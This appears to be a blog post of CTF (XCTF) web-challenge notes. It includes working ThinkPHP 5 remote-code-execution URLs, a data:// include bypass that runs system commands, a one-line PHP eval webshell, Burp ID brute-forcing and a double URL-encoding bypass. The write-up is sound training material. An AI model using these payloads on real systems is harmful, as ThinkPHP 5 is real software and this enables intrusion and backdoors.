当前位置:网站首页>Notes on xctf questions
Notes on xctf questions
2022-04-23 08:52:00 【quan9i】
List of articles
Preface
Brush questions to learn knowledge , Do it this time xctf Of
php_rce
After entering the shooting range, I only saw ThinkPHP V5
, Let's go to the github Find the corresponding vulnerability on
Because there is no specific version , So let's try to inject a version randomly
give the result as follows
Inject success , So we can modify the function a little later to find , Report flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../
obtain flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac ../../../flag
obtain flagflag{thinkphp5_rce}
The specific causes of vulnerabilities can be found in this article https://www.cnblogs.com/backlion/p/10106676.html
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
such include Of , Generally, pseudo protocol can be used to getshell, It's filtered here php://
, But there is also data://
, We construct payload as follows
?page=data://text/plain,<?php system("ls")?>
Can't find flag, Not looking for it. , Pass the Trojan horse and then connect the ant sword
?page=data://text/plain,<?php @eval($_POST[1])?>
Use the ant sword getshell
Training-WWW-Robots
Enter the range
Look at the question and guess is to investigate robots Of , Now let's look at robots.txt
There's a php file , Look like flag, see file
of robots Knowledge
robots The agreement is also called robots.txt( Unified lowercase ) It is stored in the root directory of the website ASCII Encoded text file .
robots.txt Document writing
User-agent: * All kinds of search engines represented here , It's a wildcard
Disallow: /admin/ The definition here is no crawling admin The directory below the directory
Disallow: /require/ The definition here is no crawling require The directory below the directory
Disallow: /ABC/ The definition here is no crawling ABC The directory below the directory
Disallow: /cgi-bin/.htm Blocking access /cgi-bin/ All the contents in the directory are as follows ".htm" It's a suffix URL( Include subdirectories ).
Disallow: /?* Access to all sites containing question marks is prohibited (?) The website of
Disallow: /.jpg$ It's forbidden to grab all the .jpg Format picture
Disallow:/ab/adc.html No climbing ab Under the folder adc.html file .
Allow: /cgi-bin/ The definition here is to allow crawling cgi-bin The directory below the directory
Allow: /tmp The definition here is to allow crawling tmp The entire catalog of
Allow: .htm$ Only allow access to ".htm" It's a suffix URL.
Allow: .gif$ Allow web pages and gif Format picture
Sitemap: Website map Tell the crawler this page is a website map
ics-06
The hint is that there is only one trace , We looked at the source code and found index.php
visit
above id yes 1, Then we can consider blasting at this time , use bp Grab the bag
choice numbers
, from 1 To 3000, The distance of each step is 1, in other words id from 1 Change to 3000
Find out flag
PHP2
If you enter the shooting range, just say whether we can log in to the interface , There is no other information , Here, take the imperial sword and sweep it (index.phps It was added to the imperial sword dictionary by myself )
visit index.phps Get the source code
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
Here we are right admin Do it twice url Encoding can ( The server decodes once , Decode the code again )
We use bp For secondary coding
obtain flag
upload1
Upload a picture , Then grab the package and modify the file name and file content
版权声明
本文为[quan9i]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230818385673.html
边栏推荐
- 玩转二叉树 (25 分)
- GUI编程简介 swing
- Output first order traversal according to second order and middle order traversal (25 points)
- OneFlow學習筆記:從Functor到OpExprInterpreter
- Star Trek强势来袭 开启元宇宙虚拟与现实的梦幻联动
- LaTeX数学公式
- 引用传递1
- Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
- 关于堆的判断 (25 分) 两种插入方式
- Withholding agent
猜你喜欢
深度学习框架中的自动微分及高阶导数
STM32使用HAL库,整体结构和函数原理介绍
MySQL查询两张表属性值非重复的数据
Latex paper typesetting operation
Idea is configured to connect to the remote database mysql, or Navicat fails to connect to the remote database (solved)
Yangtao electronic STM32 Internet of things entry 30 step notes II. Cube ide download, installation, sinicization and setting
请提前布局 Star Trek突破链游全新玩法,市场热度持续高涨
K210 learning notes (II) serial communication between k210 and stm32
php基于哈希算法出现的强弱比较漏洞
DJ音乐管理软件Pioneer DJ rekordbox
随机推荐
Yangtao electronic STM32 Internet of things introduction 30 steps notes 1. The difference between Hal library and standard library
L2-023 graph coloring problem (25 points) (graph traversal)
Swagger document export custom V2 / API docs interception
微信:获取单个标签所有人
Redis Desktop Manager for Mac(Redis可视化工具)
Technological innovation in government affairs in the construction of Digital Government
Star Trek强势来袭 开启元宇宙虚拟与现实的梦幻联动
应纳税所得额
Flash project cross domain interception and DBM database learning [Baotou cultural and creative website development]
【58】最后一个单词的长度【LeetCode】
Go语言自学系列 | golang结构体的初始化
Brief steps to build a website / application using flash and H5
Concave hull acquisition method based on convex hull of point cloud
BK3633 规格书
Go language self-study series | initialization of golang structure
PLC point table (register address and point table definition) cracking detection scheme -- convenient for industrial Internet data acquisition
The K neighbors of each sample are obtained by packet switching
Valgrind and kcache grind use run analysis
计算神经网络推理时间的正确方法
L2-024 部落 (25 分)(并查集)